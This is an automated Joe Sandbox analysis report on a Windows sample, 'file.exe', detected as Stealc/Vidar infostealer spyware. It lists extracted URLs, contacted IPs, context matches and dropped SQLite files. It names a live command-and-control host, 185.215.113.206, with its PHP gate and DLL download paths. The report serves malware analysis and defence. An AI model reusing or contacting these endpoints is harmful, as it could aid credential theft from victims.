https://anglebug.com/7369	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7489	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/?q=	chrome.exe, 00000001.00000002.1921100592.00002F3404A84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1918356692.00002F340443C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/freebl3.dllC	file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore	chrome.exe, 00000001.00000003.1820789788.00002F34050EC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	chrome.exe, 00000001.00000003.1809864378.00002F34048A0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://i.pki.goog/r1.crt0	chrome.exe, 00000001.00000003.1861254456.00002F3405958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1840678672.00002F3404694000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925007509.00002F340523C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000001.00000003.1824623210.00002F340480C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1822755161.00002F340536C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1823949780.00002F34050D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824157370.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824283751.00002F340539C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1823011624.00002F3405344000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1919756244.00002F34046F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824119571.00002F3404B24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825042907.00002F340560C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1822868643.00002F3405448000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824762755.00002F34054D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1822944046.00002F3405498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1823046843.00002F3405464000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview	chrome.exe, 00000001.00000003.1848526643.00002F3405B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1848624004.00002F3405B20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1848576057.00002F3405B1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1848475586.00002F3405B08000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000001.00000002.1920914524.00002F3404A0C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1927225973.0000000001186000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEB.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2076174463.0000000001164000.00000004.00000020.00020000.00000000.sdmp, HDGIEBGHDAEBGDGCFIID.0.dr	false		unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dll0m	file.exe, 00000000.00000002.2076174463.0000000001108000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/161903006	chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	file.exe, 00000000.00000002.2074918053.0000000000386000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1927225973.0000000001186000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, JKKFIIEB.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	chrome.exe, 00000001.00000003.1809864378.00002F34048A0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://i.pki.goog/wr2.crt0	chrome.exe, 00000001.00000003.1840678672.00002F3404694000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925007509.00002F340523C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-5.corp.google.com/	chrome.exe, 00000001.00000003.1809864378.00002F34048A0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.ico	chrome.exe, 00000001.00000002.1919319924.00002F34045C4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000001.00000002.1921613932.00002F3404B70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1920516368.00002F3404908000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925484679.00002F34052EC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000001.00000002.1920371053.00002F34048AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925284370.00002F3405298000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1922638446.00002F3404D5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1921512602.00002F3404B30000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://plus.google.com	chromecache_76.3.dr	false		unknown
http://anglebug.com/3078	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7553	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5375	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5371	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4722	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000001.00000002.1919319924.00002F34045C4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://developer.chrome.com/extensions/external_extensions.html)	chrome.exe, 00000001.00000002.1918993428.00002F3404534000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1918859682.00002F34044EC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000001.00000002.1921613932.00002F3404B70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1920516368.00002F3404908000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925484679.00002F34052EC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7556	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chromewebstore.google.com/	chrome.exe, 00000001.00000002.1919122829.00002F340457C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico4/7	chrome.exe, 00000001.00000002.1920764651.00002F34049C4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-preprod.corp.google.com/	chrome.exe, 00000001.00000003.1809864378.00002F34048A0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://clients4.google.com/chrome-sync	chrome.exe, 00000001.00000002.1919319924.00002F34045C4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000001.00000003.1844589337.00002F3405A0C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/%	chrome.exe, 00000001.00000003.1846548350.00002F3405FAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1846429303.00002F3405FA8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://unisolated.invalid/a	chrome.exe, 00000001.00000002.1922892220.00002F3404DF8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	file.exe, 00000000.00000002.2074918053.0000000000386000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://anglebug.com/6692	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/258207403	chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpcal	file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3502	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3623	chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3625	chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3624	chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/presentation/J	chrome.exe, 00000001.00000002.1921266248.00002F3404AE2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5007	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000001.00000002.1920082982.00002F3404780000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1921266248.00002F3404AE2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3862	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2098609810.000000006C841000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2074918053.00000000002CC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1723219134.0000000004D2B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.174	plus.l.google.com	United States	15169	GOOGLEUS	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
216.58.206.46	play.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543661
Start date and time:	2024-10-28 08:16:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@17/35@6/7
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.35, 64.233.184.84, 216.58.206.78, 34.104.35.123, 142.250.184.195, 216.58.206.74, 142.250.185.202, 142.250.186.42, 142.250.186.106, 142.250.186.74, 216.58.212.170, 142.250.185.234, 142.250.186.138, 142.250.184.202, 172.217.16.202, 142.250.181.234, 142.250.186.170, 142.250.74.202, 216.58.206.42, 142.250.184.234, 172.217.18.10, 199.232.214.172, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target file.exe, PID 6456 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
03:17:37	API Interceptor	29x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	http://browserupdater.com	Get hash	malicious	Unknown	Browse
	http://ddl.safone.dev	Get hash	malicious	Unknown	Browse
	http://delivery.aima.in/KUJABQ?id=12442=dkxVUwNRDAEFTQIMBlVXAlpcUABXUAlUW1BaUQMHCQQMB1RQBwAKAwMHUlMBVQsKAQ1KQ1IQSlQGdQtdWUFRG0VcGVIFUQENDgMABgcGBwdVAAUOTwpEQRIPTRxSUlxcQ1UXGhwCUVhWH15bGXhmeSN7ZwZaBkxDUQ==&fl=XUQRE0FZFxpUVFlBRFJfQw1LQlhfTFFHAV0HV0NUX1haXgwXQQtZG1hDUBtYVBxaDF1TQQBMWEEPWQ==	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://bit.ly/3Cbulr1	Get hash	malicious	Unknown	Browse
	CQlUZ4KuAa.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
185.215.113.206	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://browserupdater.com	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	https://bit.ly/3Cbulr1	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	CQlUZ4KuAa.exe	Get hash	malicious	Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	Reminder.exe	Get hash	malicious	Amadey	Browse	20.109.210.53 184.28.90.27 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	CQlUZ4KuAa.exe	Get hash	malicious	Vidar	Browse
	yt5xqAvHnZ.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	CQlUZ4KuAa.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AEHIDAKECFIEBGDHJEBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFBFHDBKJEGHJJJKFIIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKECBAKFBGDGCBGDBAECAKJJEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBGHDGHCGHCAAKFIIECFHCFBFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDGIEBGHDAEBGDGCFIID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
